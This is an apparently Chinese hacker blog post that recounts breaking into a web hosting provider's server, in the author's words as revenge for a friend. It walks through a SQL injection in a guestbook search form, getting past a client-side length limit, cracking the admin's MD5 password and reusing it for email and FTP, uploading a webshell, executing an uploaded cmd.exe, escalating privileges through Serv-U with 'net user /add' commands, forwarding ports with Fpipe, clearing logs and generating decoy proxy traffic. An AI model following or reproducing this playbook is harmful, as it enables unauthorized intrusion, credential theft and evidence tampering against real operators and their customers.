有天跟朋友谈起BLOG备案的问题,无意中提到了空间提供商IDC。说起IDC,没想到朋友还有段非常不愉快的经历。
事情是这样的:当时他也是没经验,想选个虚拟主机做网站,当然出于习惯问题,他对提供自己虚拟主机空间服务的这台服务器做了下安全检测,结果他拿到了空间提供商WEB目录的权限,于是……小小地给自己加了一年的时间。没想到被他空间提供商发现了,封闭了朋友的空间和FTP账号。后来他看了下,这个空间商竟然连电子经营许可证(ICP证)都没有!汗ing....
不过据说后来那台服务器增强了安全性,配置得还不错!既然你不仅不合法而且又得罪了偶那可爱得不能再可爱的朋友,那就免费给你做次安全检测吧!
废话不多说了,既然朋友认为他的安全性还可以,那系统扫描这档子事就根本没必要做了,直接看WEB安全性!找啊找啊找朋友,找到一个好朋友……晕!主站安全性确实还说得过去,过滤得很严格!再用 Domain 3.0 看了下。
晕,那么多虚拟主机跟自己的站放在一起——真会赚钱啊!好了,我们继续。导入网址进行路径扫描,扫出几个upfile.asp upload.asp,尝试上传,均告失败(这不奇怪,毕竟是很老的洞洞了)。既然这个不行,我们再看,告诉你我可是有的是耐心。
随便从 Domain 3.0 左边点了个站进去,是个在线购物站点,有ICP证!SORRY SORRY 我的目标不是你,只是借个WebShell用用而已!费了九牛二虎之力解释清楚之后,开始检测了……
首先找BBS——发现没有,不过倒是看到了个留言板,不错!就是你了,我们来看看。打开大致看了下,这个留言板简单得不能再简单了,尝试了几个“and 1=1”、“and 1=2”没发现问题。暴数据库路径也别想了,这个BT IDC已经全部做了错误处理,返回定制页,所以即使出错了也得不到有用信息(不过如果是MSSQL数据库在注入点将有办法解决这个问题)!这时候,目光落到了“搜索留言”上。赶紧打开,直觉告诉我这里有问题。
前面看到了一个留言,关键词是“人气”,那我们先在搜索栏里搜索一下“人气”,返回正常页面。
接着当我想构造检测语句的时候出了点小问题,查询框有字符长度限制。不过这个小CASE! 我们把当前页面的源码保存到本地,搜索Action找到如下语句:
原始代码:
------------------------------------------------------------------------------------------
<FORM onsubmit="return check(this)" action=searchresult.asp method=post>
<TABLE class=lybtable height=64 cellSpacing=0 cellPadding=0 width=650
align=center>
<TBODY>
<TR>
<TD width="100%" height=64>
<DIV align=center><FONT color=#000000> <B> 查询方式:</B> <SELECT size=1
name=classid> <OPTION selected>留言内容</OPTION> <OPTION>回复内容</OPTION>
<OPTION>姓名</OPTION></SELECT> 关键字: <INPUT maxLength=12 size=28
name=keyword> <INPUT class=noborder accessKey=s type=submit value=查询(S) name=B1>
</FONT></DIV></TD></TR></TBODY></TABLE></FORM>
-----------------------------------------------------------------------------------------
我们这里需要改几个地方,把“action=searchresult.asp”改成“action=http://www.xxx.com/lyb/searchresult.asp”(这里我隐藏了原始地址,为了保护自己也为了保护该站点),当然啦,不能忘了改最重要的东西:“maxLength=12”改成 “maxLength=152”,修改后的代码如下:
------------------------------------------------------------------------------------------
<FORM onsubmit="return check(this)" action=http://www.xxx.com/lyb/searchresult.asp
method=post>
<TABLE class=lybtable height=64 cellSpacing=0 cellPadding=0 width=650
align=center>
<TBODY>
<TR>
<TD width="100%" height=64>
<DIV align=center><FONT color=#000000> <B> 查询方式:</B> <SELECT size=1
name=classid> <OPTION selected>留言内容</OPTION> <OPTION>回复内容</OPTION>
<OPTION>姓名</OPTION></SELECT> 关键字: <INPUT maxLength=152 size=28
name=keyword> <INPUT class=noborder accessKey=s type=submit value=查询(S) name=B1>
</FONT></DIV></TD></TR></TBODY></TABLE></FORM>
------------------------------------------------------------------------------------------
好了,接下来我们就可以本地提交了!打开修改后的页面,在搜索栏里查询:“人气%' and 1=1 and '%'='”——返回正常页面。
接着,我们尝试查询:“人气%' and 1=2 and '%'='”——出错!果然有问题。
好了,既然找到了突破口,我们继续!手动猜太累了,交给 NBSI 2吧。我们构造如下 URL :http://www.xxx.com/lyb/searchresult.asp?classid=留言内容&keyword=人气,在关键词里输入正常页面里的一个词,我这里选“2005”,好了,GO!一声令下,NBSI 2飞快地运行了,没过多久,密码出来了。晕,MD5加密的,不过不要紧,一下子就破解出来了。
不用扫路径了,页面上直接就有管理员登录的链接,我们成功登录!不过情况不太乐观,后台功能实在是简单得不能再简单了,尝试获得一个WebShell别说还真不是件容易的事!思路一转,扫购物系统的后台(本来还想跟留言板一样直接找个管理员登录的链接的,无奈找不到)!扫描结果很不幸,后台路径我们无从知道!到这里难道就没办法了?办法不会没有,而是你找不到罢了!我们注意到了这里。
管理员资料里包括邮件账号,抱着试试看的态度,我尝试着登录该站管理员的邮箱——竟然成功!马上退出,想到什么了?对,FTP账号!用邮箱@前的账号和前面我们破解出来的密码成功连接上空间商的FTP!然后呢?当然是上传WebShell了!
马上传了个海洋2006网安中国zrrrshoo个人专用版,访问链接,没被查杀,成功。粗略看了下目录设置,标准的虚拟主机权限分配:每个空间独立运行,文件夹名为域名,不能遍历其它站点目录,CDE分区根目录一概无权限浏览!随手一个“net user”,不出所料,无法执行!尝试跳转到“c:\winnt\system32\inetsrv\data\”,成功了!上传一个改名了的cmd.exe,在海洋里指定路径“c:\winnt\system32\inetsrv\data\cmd.exe /c”执行命令—成功!“net start”,再次不出所料,服务器里果然有个Serv-U乖乖躺在那里,等着给我们提升权限。不过先别乐观,没成功之前什么都不确定!“netstat -an”:印入眼帘的包括一个“43958”,看来没想象中的复杂!接着目录跳转至“C:\Documents and Settings\All Users\「开始」菜单\程序\”找到Serv-U目录,进去下载快捷方式回来!知道了他的Serv-U安装路径:“D:\serv-U\”,看看能不能跳转进入—成功!又是老套路,写入新用户到“ServUDaemon.ini”准备走人的时候,竟然提示出错了!郁闷,看来是没有写权限……
不过一件令人大跌眼镜的事情发生了,本来以为应该有防火墙过滤除少数几个外的所有端口的,没想到上传 Fpipe后,转发的高端口能直接连接上,那还说什么,本地新建FTP域,远程连接管理,加用户,FTP上去“quote site exec net user zrrrshoo /add”;“quote site exec net user zrrrshoo zrrr”;“quote site exec net localgroup administrators zrrrshoo /add”,他有3389,我怕又做了登录限制,不过事实证明我的担心是多余的!直接就登录进去了。好了,安全要紧,清除所有日志,再开个ChallengeCollapsar,用30个代理变换路径访问15分钟(主要是不让WEB日志空空如也),OK!明天把他交给朋友处理吧!